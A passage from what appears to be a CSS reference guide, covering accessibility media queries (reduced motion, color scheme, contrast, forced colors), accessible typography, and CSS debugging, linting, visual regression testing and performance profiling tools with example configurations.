/* Auto-playing carousels */
.carousel {
    /* Auto-advance by default */
}

@media (prefers-reduced-motion: reduce) {
    .carousel {
        /* Disable auto-advance */
        animation-play-state: paused;
    }
}

/* Notification animations */
.toast {
    animation: slideIn 0.3s ease, slideOut 0.3s ease 3s;
}

@media (prefers-reduced-motion: reduce) {
    .toast {
        /* Instant appearance, longer display time */
        animation: fadeIn 0.1s ease, fadeOut 0.1s ease 5s;
    }
}

Example: Comprehensive motion reduction

/* Global reduced motion reset */
@media (prefers-reduced-motion: reduce) {
    *,
    *::before,
    *::after {
        animation-duration: 0.01ms !important;
        animation-iteration-count: 1 !important;
        transition-duration: 0.01ms !important;
        scroll-behavior: auto !important;
    }
    
    /* Exceptions for critical animations */
    .loading-spinner,
    .progress-indicator,
    [role="progressbar"] {
        animation-duration: revert !important;
        transition-duration: revert !important;
    }
}

/* Motion safe wrapper */
@media (prefers-reduced-motion: no-preference) {
    .motion-safe-fade {
        animation: fadeIn 0.5s ease;
    }
    
    .motion-safe-slide {
        animation: slideUp 0.3s ease;
    }
    
    .motion-safe-scale {
        transition: transform 0.3s ease;
    }
    
    .motion-safe-scale:hover {
        transform: scale(1.05);
    }
}

/* Provide alternative feedback for reduced motion */
@media (prefers-reduced-motion: reduce) {
    .interactive-card:hover {
        /* Instead of animation, use border/outline */
        outline: 3px solid #007acc;
        outline-offset: 2px;
    }
    
    .notification {
        /* Instead of slide-in, just appear with border */
        border-left: 4px solid #007acc;
    }
    
    .loading-indicator {
        /* Instead of spinner, use pulsing dot */
        animation: pulse 2s ease-in-out infinite;
    }
    
    @keyframes pulse {
        0%, 100% { opacity: 1; }
        50% { opacity: 0.5; }
    }
}

/* JavaScript detection */
/*
const prefersReducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)');

if (prefersReducedMotion.matches) {
    // Disable complex animations
    document.body.classList.add('reduce-motion');
}

// Listen for changes
prefersReducedMotion.addEventListener('change', (e) => {
    if (e.matches) {
        document.body.classList.add('reduce-motion');
    } else {
        document.body.classList.remove('reduce-motion');
    }
});
*/

/* CSS for JS-controlled animations */
.reduce-motion .animated-element {
    animation: none !important;
    transition: none !important;
}

/* Best practices:
   1. Respect user preference always
   2. Keep functional animations (loading, progress)
   3. Provide alternative feedback (borders, colors)
   4. Test with reduced motion enabled
   5. Consider duration reduction vs complete removal
   6. Make smooth scrolling optional
   7. Pause auto-playing content
*/
Note: Always respect prefers-reduced-motion. Keep functional animations (loading spinners, progress bars). Provide alternative feedback with borders, colors, or static states. Test with system settings enabled.

18.4 prefers-color-scheme and System Themes

Value Description Implementation Fallback
light User prefers light theme Light colors, dark text Default
dark User prefers dark theme Dark colors, light text All modern browsers
no-preference No preference indicated Use default theme Fallback

Example: System theme implementation

/* Modern approach: CSS custom properties */
:root {
    color-scheme: light dark;  /* Opt-in to browser dark mode */
    
    /* Light theme (default) */
    --bg-primary: #ffffff;
    --bg-secondary: #f5f5f5;
    --text-primary: #1a1a1a;
    --text-secondary: #666666;
    --border-color: #e0e0e0;
    --link-color: #0066cc;
    --shadow: rgba(0, 0, 0, 0.1);
}

@media (prefers-color-scheme: dark) {
    :root {
        /* Dark theme */
        --bg-primary: #1a1a1a;
        --bg-secondary: #2d2d2d;
        --text-primary: #f0f0f0;
        --text-secondary: #b3b3b3;
        --border-color: #404040;
        --link-color: #6db3f2;
        --shadow: rgba(0, 0, 0, 0.5);
    }
}

/* Apply variables */
body {
    background: var(--bg-primary);
    color: var(--text-primary);
}

.card {
    background: var(--bg-secondary);
    border: 1px solid var(--border-color);
    box-shadow: 0 2px 4px var(--shadow);
}

a {
    color: var(--link-color);
}

/* Light-dark() function (modern browsers) */
.element {
    background: light-dark(white, #1a1a1a);
    color: light-dark(#1a1a1a, white);
}

/* Complete theme example */
:root {
    /* Neutral colors */
    --neutral-50: #fafafa;
    --neutral-100: #f5f5f5;
    --neutral-900: #1a1a1a;
    
    /* Brand colors (same in both themes) */
    --primary: #007acc;
    --success: #10b981;
    --warning: #f59e0b;
    --error: #ef4444;
}

/* Light theme */
:root {
    --bg-page: var(--neutral-50);
    --bg-surface: white;
    --bg-elevated: white;
    --text-primary: var(--neutral-900);
    --text-secondary: #666;
    --text-tertiary: #999;
    --border: #e0e0e0;
}

/* Dark theme */
@media (prefers-color-scheme: dark) {
    :root {
        --bg-page: #0a0a0a;
        --bg-surface: #1a1a1a;
        --bg-elevated: #2d2d2d;
        --text-primary: #f0f0f0;
        --text-secondary: #b3b3b3;
        --text-tertiary: #808080;
        --border: #404040;
    }
    
    /* Adjust images for dark mode */
    img {
        opacity: 0.9;
    }
    
    img:hover {
        opacity: 1;
    }
}

/* Component-specific dark mode adjustments */
@media (prefers-color-scheme: dark) {
    .code-block {
        background: #0d1117;
        border-color: #30363d;
    }
    
    .syntax-highlight {
        /* Adjust syntax highlighting colors */
        --keyword: #ff7b72;
        --string: #a5d6ff;
        --comment: #8b949e;
    }
    
    /* Invert icons for better visibility */
    .icon-dark-invert {
        filter: invert(1);
    }
}

Example: Advanced theming with user override

/* Three-way theme system: auto, light, dark */

/* Default: Auto (respects system preference) */
:root {
    color-scheme: light;
    --theme: light;
}

@media (prefers-color-scheme: dark) {
    :root {
        color-scheme: dark;
        --theme: dark;
    }
}

/* User override: Light theme */
[data-theme="light"] {
    color-scheme: light;
    --theme: light;
}

/* User override: Dark theme */
[data-theme="dark"] {
    color-scheme: dark;
    --theme: dark;
}

/* Theme-specific styles */
:root,
[data-theme="light"] {
    --bg-primary: #ffffff;
    --text-primary: #1a1a1a;
}

@media (prefers-color-scheme: dark) {
    :root:not([data-theme="light"]) {
        --bg-primary: #1a1a1a;
        --text-primary: #f0f0f0;
    }
}

[data-theme="dark"] {
    --bg-primary: #1a1a1a;
    --text-primary: #f0f0f0;
}

/* JavaScript for theme toggle */
/*
const themeToggle = document.querySelector('[data-theme-toggle]');
const currentTheme = localStorage.getItem('theme') || 'auto';

function setTheme(theme) {
    if (theme === 'auto') {
        document.documentElement.removeAttribute('data-theme');
    } else {
        document.documentElement.setAttribute('data-theme', theme);
    }
    localStorage.setItem('theme', theme);
}

themeToggle.addEventListener('click', () => {
    const current = document.documentElement.getAttribute('data-theme') || 'auto';
    const next = current === 'light' ? 'dark' : current === 'dark' ? 'auto' : 'light';
    setTheme(next);
});

// Apply saved theme
setTheme(currentTheme);

// Listen for system theme changes
window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', (e) => {
    if (!document.documentElement.hasAttribute('data-theme')) {
        // Only react if in auto mode
        console.log('System theme changed:', e.matches ? 'dark' : 'light');
    }
});
*/

/* Smooth theme transitions */
body {
    transition: background-color 0.3s ease, color 0.3s ease;
}

@media (prefers-reduced-motion: reduce) {
    body {
        transition: none;
    }
}

/* Theme-aware components */
.theme-indicator {
    display: none;
}

@media (prefers-color-scheme: dark) {
    :root:not([data-theme="light"]) .theme-indicator--dark {
        display: inline;
    }
}

[data-theme="dark"] .theme-indicator--dark {
    display: inline;
}

[data-theme="light"] .theme-indicator--light,
:root:not([data-theme="dark"]) .theme-indicator--light {
    display: inline;
}

/* Print styles (always light) */
@media print {
    :root {
        color-scheme: light;
        --bg-primary: white;
        --text-primary: black;
    }
}
Warning: Set color-scheme: light dark to enable browser dark mode for form controls. Test both themes for contrast compliance. Provide user override option. Don't forget to adjust images and icons for dark mode.

18.5 prefers-contrast and High Contrast Mode

Media Query Value Description Action
prefers-contrast no-preference No contrast preference Use default styles
prefers-contrast more User wants higher contrast Increase contrast, borders
prefers-contrast less User wants lower contrast Reduce contrast, soften
forced-colors active High contrast mode enabled Use system colors

Example: High contrast mode support

/* Increased contrast preference */
@media (prefers-contrast: more) {
    :root {
        /* Higher contrast colors */
        --text-primary: #000000;
        --bg-primary: #ffffff;
        --link-color: #0000ff;
        --border-color: #000000;
    }
    
    /* Thicker borders */
    .card,
    .button,
    input,
    textarea {
        border-width: 2px;
    }
    
    /* Stronger shadows */
    .elevated {
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);
    }
    
    /* Bolder text */
    body {
        font-weight: 500;
    }
    
    h1, h2, h3, h4, h5, h6 {
        font-weight: 700;
    }
    
    /* Remove transparency */
    .translucent {
        opacity: 1;
    }
    
    /* Underline all links */
    a {
        text-decoration: underline;
        text-decoration-thickness: 2px;
    }
}

/* Reduced contrast preference */
@media (prefers-contrast: less) {
    :root {
        --text-primary: #4d4d4d;
        --bg-primary: #fafafa;
        --border-color: #e0e0e0;
    }
    
    /* Softer borders */
    .card {
        border-color: #f0f0f0;
    }
    
    /* Lighter shadows */
    .elevated {
        box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
    }
}

/* Windows High Contrast Mode (forced-colors) */
@media (forced-colors: active) {
    /* System will override most colors */
    /* Use system color keywords */
    
    body {
        background: Canvas;
        color: CanvasText;
    }
    
    a {
        color: LinkText;
    }
    
    a:visited {
        color: VisitedText;
    }
    
    .button {
        background: ButtonFace;
        color: ButtonText;
        border: 1px solid ButtonText;
    }
    
    .button:hover,
    .button:focus {
        background: Highlight;
        color: HighlightText;
        border-color: HighlightText;
        forced-color-adjust: none;  /* Opt out of adjustment */
    }
    
    /* Add borders where they don't exist */
    .card,
    .section {
        border: 1px solid CanvasText;
    }
    
    /* Show focus indicators */
    :focus-visible {
        outline: 3px solid Highlight;
        outline-offset: 2px;
    }
    
    /* Icons and decorative images */
    .icon {
        /* Force icons to be visible */
        forced-color-adjust: auto;
    }
    
    img {
        /* Preserve image colors */
        forced-color-adjust: none;
    }
    
    /* Backplate for text over images */
    .text-over-image {
        background: Canvas;
        color: CanvasText;
        padding: 0.5rem;
    }
    
    /* System color keywords:
       Canvas - Background
       CanvasText - Text on Canvas
       LinkText - Links
       VisitedText - Visited links
       ActiveText - Active link
       ButtonFace - Button background
       ButtonText - Button text
       ButtonBorder - Button border
       Field - Input background
       FieldText - Input text
       Highlight - Selected background
       HighlightText - Selected text
       GrayText - Disabled text
       Mark - Highlighted background
       MarkText - Highlighted text
    */
}

/* Combine prefers-contrast and forced-colors */
@media (prefers-contrast: more) {
    /* Additional enhancements even without forced-colors */
    .button {
        border-width: 2px;
        font-weight: 600;
    }
}

@media (prefers-contrast: more) and (forced-colors: active) {
    /* Extra emphasis in high contrast mode */
    .important {
        border: 3px solid HighlightText;
        font-weight: bold;
    }
}

Example: Comprehensive high contrast implementation

/* Complete high contrast strategy */

/* Normal mode */
.card {
    background: white;
    border: 1px solid #e0e0e0;
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}

/* Increased contrast */
@media (prefers-contrast: more) {
    .card {
        border: 2px solid #000;
        box-shadow: none;  /* Shadows may be confusing */
    }
}

/* Forced colors (Windows High Contrast) */
@media (forced-colors: active) {
    .card {
        background: Canvas;
        border: 1px solid CanvasText;
        box-shadow: none;
        
        /* Ensure content remains visible */
        color: CanvasText;
    }
    
    /* Custom focus indicators may be overridden */
    .card:focus-visible {
        outline: 3px solid Highlight;
        forced-color-adjust: none;
    }
    
    /* Preserve decorative borders */
    .status-success {
        border-left: 4px solid currentColor;
        forced-color-adjust: preserve-parent-color;
    }
    
    /* Buttons need explicit borders */
    .button {
        border: 2px solid ButtonText;
    }
    
    .button-primary {
        background: ButtonFace;
        color: ButtonText;
        border-color: ButtonText;
    }
    
    /* Disabled state */
    .button:disabled {
        color: GrayText;
        border-color: GrayText;
    }
    
    /* Form controls */
    input,
    textarea,
    select {
        background: Field;
        color: FieldText;
        border: 1px solid FieldText;
    }
    
    input:focus,
    textarea:focus,
    select:focus {
        outline: 2px solid HighlightText;
        outline-offset: 2px;
    }
    
    /* Icons need borders or backgrounds */
    .icon-only-button {
        border: 2px solid ButtonText;
        background: ButtonFace;
    }
    
    /* Ensure SVG icons are visible */
    svg {
        fill: currentColor;
        stroke: currentColor;
        forced-color-adjust: auto;
    }
    
    /* Graphs and charts */
    .chart {
        /* Provide text alternatives */
        forced-color-adjust: none;
        border: 2px solid CanvasText;
    }
    
    .chart::after {
        content: attr(aria-label);
        display: block;
        padding: 1rem;
        background: Canvas;
        color: CanvasText;
    }
}

/* Test for forced-colors support */
@supports (forced-color-adjust: none) {
    /* Browser supports forced-colors */
}

/* JavaScript detection */
/*
const forcedColors = window.matchMedia('(forced-colors: active)');
const prefersMoreContrast = window.matchMedia('(prefers-contrast: more)');

if (forcedColors.matches) {
    document.body.classList.add('forced-colors');
}

if (prefersMoreContrast.matches) {
    document.body.classList.add('high-contrast');
}
*/
Note: forced-colors: active indicates Windows High Contrast Mode. Use system colors (Canvas, CanvasText, LinkText, etc.). Add borders to borderless elements. Test with Windows High Contrast Mode enabled.

18.6 Accessible Typography and Reading Flow

Aspect Guideline WCAG Recommendation
Font Size Minimum 16px body text Best practice Use rem for scalability
Line Height 1.5 for body text minimum WCAG 1.4.8 (AAA) 1.5-1.8 for readability
Line Length 45-75 characters optimal WCAG 1.4.8 (AAA) Max 80ch recommended
Paragraph Spacing 1.5x font size minimum WCAG 1.4.12 (AA) Use margin-bottom
Letter Spacing 0.12em minimum WCAG 1.4.12 (AA) Adjustable by user
Word Spacing 0.16em minimum WCAG 1.4.12 (AA) Avoid justified text

Example: Accessible typography

/* WCAG compliant typography */
:root {
    /* Base font size */
    font-size: 16px;  /* Never below 16px */
}

body {
    font-family: system-ui, -apple-system, sans-serif;
    font-size: 1rem;  /* 16px, user scalable */
    line-height: 1.6;  /* WCAG 1.4.8: minimum 1.5 */
    color: #1a1a1a;
    
    /* Text spacing requirements (WCAG 1.4.12) */
    letter-spacing: 0.05em;
    word-spacing: 0.1em;
}

/* Headings */
h1 {
    font-size: 2.5rem;
    line-height: 1.2;
    margin-bottom: 1rem;
}

h2 {
    font-size: 2rem;
    line-height: 1.3;
    margin-bottom: 0.875rem;
}

h3 {
    font-size: 1.5rem;
    line-height: 1.4;
    margin-bottom: 0.75rem;
}

/* Paragraph spacing: 1.5x font size minimum */
p {
    margin-bottom: 1.5em;  /* WCAG 1.4.8 */
    max-width: 70ch;  /* Optimal line length */
}

/* Line length control */
.readable-content {
    max-width: 70ch;  /* 45-75 characters optimal */
    margin-left: auto;
    margin-right: auto;
}

/* Prevent long lines */
.article {
    max-width: min(70ch, 100% - 2rem);
}

/* Adjustable text spacing */
.user-adjustable-spacing {
    /* Allow user to override */
    letter-spacing: var(--user-letter-spacing, 0.05em);
    word-spacing: var(--user-word-spacing, 0.1em);
    line-height: var(--user-line-height, 1.6);
}

/* Avoid justified text (creates rivers) */
p {
    text-align: left;  /* Not justify */
}

/* Small text (captions, footnotes) */
.small-text {
    font-size: 0.875rem;  /* 14px minimum */
    line-height: 1.6;
}

/* Large text for better readability */
.large-text {
    font-size: 1.125rem;  /* 18px */
    line-height: 1.7;
}

/* Avoid narrow columns */
.column {
    min-width: 20ch;  /* Prevent narrow text */
}

/* Lists */
ul, ol {
    margin-bottom: 1.5em;
    padding-left: 2em;
}

li {
    margin-bottom: 0.5em;
    line-height: 1.6;
}

/* Code blocks */
code, pre {
    font-family: 'Monaco', 'Courier New', monospace;
    font-size: 0.875em;
    line-height: 1.6;
}

pre {
    padding: 1rem;
    overflow-x: auto;
    border-radius: 4px;
}

/* Blockquotes */
blockquote {
    margin: 1.5em 0;
    padding-left: 1.5em;
    border-left: 4px solid #007acc;
    font-style: italic;
    line-height: 1.7;
}

/* Links in text */
a {
    color: #0066cc;
    text-decoration: underline;
    text-decoration-thickness: 1px;
    text-underline-offset: 2px;
}

a:hover,
a:focus {
    text-decoration-thickness: 2px;
}

/* User preference: larger text spacing */
@media (prefers-contrast: more) {
    body {
        letter-spacing: 0.1em;
        word-spacing: 0.16em;
        line-height: 1.8;
    }
    
    p {
        margin-bottom: 2em;
    }
}

Example: Responsive and accessible typography

/* Fluid typography with clamp() */
:root {
    --font-size-base: clamp(1rem, 0.9rem + 0.5vw, 1.125rem);
    --font-size-lg: clamp(1.125rem, 1rem + 0.625vw, 1.25rem);
    --font-size-xl: clamp(1.25rem, 1.1rem + 0.75vw, 1.5rem);
    --font-size-2xl: clamp(1.5rem, 1.3rem + 1vw, 2rem);
    --font-size-3xl: clamp(2rem, 1.6rem + 2vw, 3rem);
}

body {
    font-size: var(--font-size-base);
    line-height: 1.6;
}

h1 {
    font-size: var(--font-size-3xl);
    line-height: 1.2;
}

/* Maintain readability at all sizes */
.content {
    /* Prevent text from getting too wide */
    max-width: min(70ch, 90vw);
    margin-inline: auto;
    padding-inline: 1rem;
}

/* Dyslexia-friendly options */
.dyslexia-friendly {
    font-family: 'OpenDyslexic', 'Comic Sans MS', sans-serif;
    font-size: 1.125rem;
    line-height: 1.8;
    letter-spacing: 0.1em;
    word-spacing: 0.2em;
}

/* Text that wraps nicely */
h1, h2, h3 {
    text-wrap: balance;  /* Balance lines */
    max-width: 30ch;
}

p {
    text-wrap: pretty;  /* Prevent orphans */
}

/* Avoid ALL CAPS */
.avoid-caps {
    /* Don't use text-transform: uppercase for long text */
    /* If necessary, use title case instead */
}

/* Underlining without cutting descenders */
a {
    text-decoration-skip-ink: auto;
}

/* Focus on readability, not aesthetics */
.readable-first {
    /* Prioritize these properties */
    font-size: 1.125rem;
    line-height: 1.7;
    letter-spacing: 0.02em;
    max-width: 65ch;
}

/* Tables */
table {
    font-size: 0.9375rem;
    line-height: 1.6;
}

th, td {
    padding: 0.75rem 1rem;
    text-align: left;
}

/* Prevent orphans and widows */
p {
    orphans: 2;
    widows: 2;
}

/* User zoom support */
@media (min-width: 768px) {
    /* Don't prevent user zoom */
    /* Never use: maximum-scale=1, user-scalable=no */
}

/* Font loading performance */
@font-face {
    font-family: 'CustomFont';
    src: url('/fonts/custom.woff2') format('woff2');
    font-display: swap;  /* Show fallback immediately */
}

/* WCAG 1.4.12: Text spacing must be customizable */
/* Users should be able to override these without breaking layout */
* {
    /* Line height: at least 1.5x font size */
    /* Paragraph spacing: at least 2x font size */
    /* Letter spacing: at least 0.12x font size */
    /* Word spacing: at least 0.16x font size */
}

/* Test with browser zoom at 200% */
/* Test with large text accessibility settings */

CSS Accessibility Best Practices

  • Never remove focus outlines without providing alternatives (use :focus-visible)
  • Maintain minimum 4.5:1 contrast for normal text, 3:1 for large text (WCAG AA)
  • Respect prefers-reduced-motion, disable decorative animations, keep functional ones
  • Support prefers-color-scheme, set color-scheme: light dark
  • Implement forced-colors: active for Windows High Contrast Mode
  • Use minimum 16px font size, 1.5 line-height, 45-75 character line length
  • Ensure text spacing is user-customizable (WCAG 1.4.12)
  • Don't use color alone to convey information, add icons or text
  • Test with keyboard navigation, screen readers, and zoom at 200%
  • Provide skip links, use semantic HTML, ensure proper heading hierarchy

19. CSS Debugging and Development Tools

19.1 Browser DevTools CSS Features

DevTools Feature Chrome/Edge Firefox Safari Use Case
Elements/Inspector Panel F12 → Elements F12 → Inspector ⌥⌘I → Elements View computed styles, box model, DOM tree
CSS Rules Editing Live edit + instant preview Live edit + instant preview Live edit + instant preview Test CSS changes without saving files
Computed Styles Tab Shows final values Shows final values Shows final values Debug cascade, specificity, inheritance
Box Model Visualizer Interactive padding/margin editor Layout panel with grid/flex Box model diagram Visualize spacing, sizing, overflow
Color Picker RGBA/HEX/HSL + contrast ratio RGBA/HEX/HSL/HWBA RGBA/HEX/HSL + wide gamut Test colors, check WCAG compliance
Flexbox/Grid Inspector Flexbox overlay + grid lines Comprehensive flex/grid panel Flexbox overlay + grid lines Debug layout issues, visualize tracks
CSS Changes Tracking Changes tab (records edits) Changes panel No native feature Export modified CSS to save work
CSS Coverage Tool Coverage tab (unused CSS %) No native feature No native feature Identify unused CSS for optimization

Example: Chrome DevTools Advanced Features

/* CSS Layers Inspector (Chrome 99+):*/
<!-- View @layer cascade order -->
DevTools → Elements → Styles → Click layer badge
Shows: Layer name, order, specificity within layer

/* Container Query Badge (Chrome 106+):*/
<!-- Hover over @container rules -->
Shows: Container element, container size, query conditions
Click badge → Highlights container in page

/* CSS Nesting Visualization (Chrome 120+):*/
<!-- Nested selectors are indented -->
.card {
  & .title { /* Indented to show nesting */
    &:hover { /* Further indented */
    }
  }
}
Firefox DevTools Strengths:
  • Font Panel: Most comprehensive font debugging (loaded fonts, variations, fallbacks)
  • Inactive CSS: Shows why CSS properties don't apply with explanations
  • Accessibility Inspector: Built-in a11y tree viewer, contrast checker, keyboard checks
  • Grid Inspector: Superior grid debugging with named areas, line numbers, track sizing

19.2 CSS Debugging Techniques and Strategies

Technique CSS Code When to Use
Red Border Debugging * { outline: 1px solid red; } Visualize all element boundaries, find layout issues
Background Color Method .element { background: rgba(255,0,0,0.2); } See element size, padding, positioning issues
CSS Comments Isolation /* rule { property: value; } */ Comment out rules to find which causes issue
!important Override Testing property: value !important; Test if specificity is the problem (remove after debugging)
Specificity Debugging DevTools → Computed → Filter property See which rule wins cascade, why property is overridden
Z-index Debugging outline: 2px solid blue; position: relative; Verify stacking context creation, z-index effectiveness
Grid/Flex Gap Visualization gap: 10px; background: pink; Confirm gap is working (gaps don't have background)

Example: Systematic Debugging Workflow

<!-- Step 1: Isolate the problem -->
1. Identify affected element in DevTools
2. Check Computed styles for unexpected values
3. Verify box model (width/height/padding/margin)

<!-- Step 2: Check cascade -->
4. Styles panel: Which rules apply?
5. Are rules crossed out (overridden)?
6. Check specificity: id (1,0,0) > class (0,1,0) > element (0,0,1)

<!-- Step 3: Verify layout context -->
7. Is parent a flex/grid container?
8. Is element positioned (relative/absolute/fixed)?
9. Does element create stacking context?

<!-- Step 4: Test inheritance -->
10. Check inherited properties (color, font-size, line-height)
11. Verify if property is inheritable
12. Look for explicit 'inherit' or 'initial' values

<!-- Step 5: Browser/rendering issues -->
13. Test in different browsers (vendor prefixes needed?)
14. Check for typos in property names
15. Validate CSS syntax (missing semicolons, braces)

Example: CSS Bugs and Solutions

<!-- Bug: Margin collapse -->
<!-- Problem: Vertical margins merge unexpectedly -->
.parent { 
  padding-top: 1px; /* Or border-top, or overflow: auto */
}
/* Prevents first child's margin from collapsing with parent */

<!-- Bug: Flexbox item not shrinking -->
.item { 
  min-width: 0; /* Or min-height: 0 for vertical flex */
}
/* Default min-width: auto prevents shrinking below content */

<!-- Bug: Z-index not working -->
.element { 
  position: relative; /* Or absolute/fixed/sticky */
  z-index: 10;
}
/* Z-index only works on positioned elements */

<!-- Bug: 100vh causing overflow on mobile -->
.fullscreen {
  height: 100dvh; /* Dynamic viewport height */
  /* Or: height: 100svh for small viewport height */
}

<!-- Bug: Text overflowing container -->
.container {
  overflow-wrap: break-word;
  word-break: break-word;
  hyphens: auto;
}

<!-- Bug: Grid items overlapping -->
.grid {
  grid-auto-rows: minmax(100px, auto);
  /* Or: grid-auto-flow: dense; for masonry effect */
}
Debugging Anti-patterns:
  • Don't blindly add !important - Fix specificity issues properly with correct selectors
  • Don't use overflow: hidden to "fix" everything - Find root cause of overflow
  • Don't add random z-index: 9999 - Understand stacking contexts first
  • Don't use position: absolute for layout - Use flexbox/grid for proper layout
  • Don't copy random CSS from Stack Overflow - Understand what each property does

19.3 CSS Linting and Code Quality Tools

Tool Purpose Key Features Setup
Stylelint CSS/SCSS linter 400+ rules, auto-fix, plugin system, custom rules npm install stylelint stylelint-config-standard
Prettier Code formatter Opinionated formatting, zero config, consistent style npm install prettier
PostCSS CSS transformer Autoprefixer, future CSS syntax, minification npm install postcss postcss-cli autoprefixer
CSSLint CSS quality checker Performance warnings, compatibility checks npm install csslint (deprecated, use Stylelint)
PurgeCSS Unused CSS remover Content analysis, whitelist patterns, safelist npm install purgecss
CSS Stats CSS analyzer File size, specificity graph, color palette extraction Web: cssstats.com or npm: npm install cssstats

Example: Configuration (.stylelintrc.json)

{
  "extends": "stylelint-config-standard",
  "rules": {
    "indentation": 2,
    "string-quotes": "double",
    "no-duplicate-selectors": true,
    "color-hex-case": "lower",
    "color-hex-length": "short",
    "color-named": "never",
    "selector-max-id": 0,
    "selector-combinator-space-after": "always",
    "selector-attribute-quotes": "always",
    "declaration-block-trailing-semicolon": "always",
    "declaration-colon-space-after": "always",
    "declaration-colon-space-before": "never",
    "property-no-vendor-prefix": true,
    "value-no-vendor-prefix": true,
    "number-leading-zero": "always",
    "function-url-quotes": "always",
    "font-weight-notation": "numeric",
    "comment-whitespace-inside": "always",
    "rule-empty-line-before": ["always", {
      "except": ["first-nested"]
    }]
  }
}

Example: PostCSS Configuration (postcss.config.js)

module.exports = {
  plugins: [
    require('autoprefixer')({
      overrideBrowserslist: ['last 2 versions', '> 1%', 'not dead']
    }),
    require('postcss-preset-env')({
      stage: 3,
      features: {
        'nesting-rules': true,
        'custom-properties': true,
        'custom-media-queries': true
      }
    }),
    require('cssnano')({
      preset: ['default', {
        discardComments: { removeAll: true },
        normalizeWhitespace: true,
        minifyFontValues: true
      }]
    })
  ]
};

<!-- Usage -->
npx postcss src/styles.css -o dist/styles.css

Example: PurgeCSS Configuration

<!-- purgecss.config.js -->
module.exports = {
  content: ['./src/**/*.html', './src/**/*.js', './src/**/*.jsx'],
  css: ['./src/**/*.css'],
  safelist: {
    standard: ['active', 'show', 'fade'],
    deep: [/^modal-/, /^dropdown-/],
    greedy: [/^data-/]
  },
  defaultExtractor: content => content.match(/[\w-/:]+(?<!:)/g) || []
};

<!-- CLI usage -->
purgecss --config ./purgecss.config.js --output dist/

<!-- Result: 80-95% size reduction typical -->
Stylelint Best Practices:
  • Use stylelint-config-standard as baseline, override specific rules
  • Enable --fix for auto-fixing formatting issues: stylelint "**/*.css" --fix
  • Add pre-commit hook with Husky to catch issues before commit
  • Use stylelint-order plugin to enforce property order (positioning → box model → typography → visual)
  • Configure IDE integration (VS Code: stylelint.vscode-stylelint extension)

19.4 CSS Testing and Visual Regression

Tool Testing Type Features Use Case
Percy (percy.io) Visual regression Screenshot diffs, responsive testing, CI integration Catch unintended visual changes in PRs
Chromatic Visual testing Storybook integration, cross-browser, cloud-based Component-level visual testing workflow
BackstopJS Visual regression Open-source, headless browser, local testing Free alternative for visual regression
Playwright E2E + visual Screenshot comparison, cross-browser, auto-wait Full-page E2E tests with visual assertions
Cypress E2E + visual plugin Real-time reloads, time-travel debugging E2E testing with visual regression plugins
Jest + jest-image-snapshot Unit + visual Component snapshots, diff viewer, threshold tuning React/Vue component visual testing

Example: Configuration (backstop.json)

{
  "id": "css_regression_test",
  "viewports": [
    { "label": "phone", "width": 375, "height": 667 },
    { "label": "tablet", "width": 768, "height": 1024 },
    { "label": "desktop", "width": 1920, "height": 1080 }
  ],
  "scenarios": [
    {
      "label": "Homepage",
      "url": "http://localhost:3000",
      "selectors": ["document"],
      "delay": 1000,
      "misMatchThreshold": 0.1
    },
    {
      "label": "Button Hover State",
      "url": "http://localhost:3000",
      "selectors": [".btn-primary"],
      "hoverSelector": ".btn-primary",
      "delay": 500
    }
  ],
  "paths": {
    "bitmaps_reference": "backstop_data/bitmaps_reference",
    "bitmaps_test": "backstop_data/bitmaps_test",
    "html_report": "backstop_data/html_report"
  },
  "engine": "puppeteer",
  "report": ["browser", "CI"]
}

<!-- Commands -->
backstop reference  # Create baseline screenshots
backstop test       # Compare current vs reference
backstop approve    # Update reference with current

Example: Playwright Visual Testing

// tests/visual.spec.js
import { test, expect } from '@playwright/test';

test('homepage visual regression', async ({ page }) => {
  await page.goto('http://localhost:3000');
  
  // Wait for fonts and images to load
  await page.waitForLoadState('networkidle');
  
  // Take full-page screenshot
  await expect(page).toHaveScreenshot('homepage.png', {
    fullPage: true,
    maxDiffPixels: 100
  });
});

test('responsive layout', async ({ page }) => {
  await page.setViewportSize({ width: 375, height: 667 });
  await page.goto('http://localhost:3000');
  await expect(page).toHaveScreenshot('mobile.png');
  
  await page.setViewportSize({ width: 1920, height: 1080 });
  await expect(page).toHaveScreenshot('desktop.png');
});

test('dark mode theme', async ({ page }) => {
  await page.emulateMedia({ colorScheme: 'dark' });
  await page.goto('http://localhost:3000');
  await expect(page).toHaveScreenshot('dark-mode.png');
});

Example: CSS-Specific Test Scenarios

<!-- Test checklist for visual regression -->

1. **Responsive Breakpoints**
   - Test at 320px, 375px, 768px, 1024px, 1440px, 1920px
   - Verify no horizontal scroll at any breakpoint
   - Check text doesn't overflow containers

2. **Interactive States**
   - :hover, :focus, :active, :disabled states
   - Form validation states (error, success, warning)
   - Loading states, skeleton screens

3. **Theme Variations**
   - Light mode vs dark mode
   - High contrast mode (forced-colors)
   - Custom theme configurations

4. **Typography**
   - Font loading (FOIT vs FOUT)
   - Line wrapping at different widths
   - Text scaling at 200% zoom (WCAG)

5. **Browser Quirks**
   - Test in Chrome, Firefox, Safari
   - Check vendor prefix fallbacks
   - Verify CSS feature support detection

6. **Performance**
   - Above-fold content rendering
   - Layout shift (CLS) measurements
   - Animation smoothness (no jank)
Visual Testing Pitfalls:
  • ⚠️ Font rendering differences: Use consistent font-rendering settings or web fonts
  • ⚠️ Animation timing: Disable or mock animations for consistent screenshots
  • ⚠️ Dynamic content: Mock API responses, use fixed dates/times in tests
  • ⚠️ External resources: Stub third-party images/fonts to avoid flakiness
  • ⚠️ Viewport differences: Match exact viewport size in CI and local environments

19.5 CSS Performance Profiling

Metric Tool Target How to Measure
Selector Performance Chrome DevTools Performance < 50ms recalc Record → Trigger style change → Check "Recalculate Style" duration
Layout Thrashing DevTools Performance (Layout events) Minimize forced reflows Look for red layout warnings in flame chart
Paint Performance Rendering → Paint Flashing Minimize green flashes Enable Paint Flashing, scroll/interact, observe repaints
Cumulative Layout Shift (CLS) Lighthouse, Web Vitals < 0.1 Lighthouse audit → Performance → CLS score
First Contentful Paint (FCP) Lighthouse, WebPageTest < 1.8s Lighthouse → Performance → FCP metric
CSS Bundle Size Webpack Bundle Analyzer, source-map-explorer < 50KB gzipped Build → Run analyzer → Check CSS chunk sizes
Unused CSS Chrome Coverage Tab < 20% unused DevTools → Coverage → Record → Check CSS unused bytes %

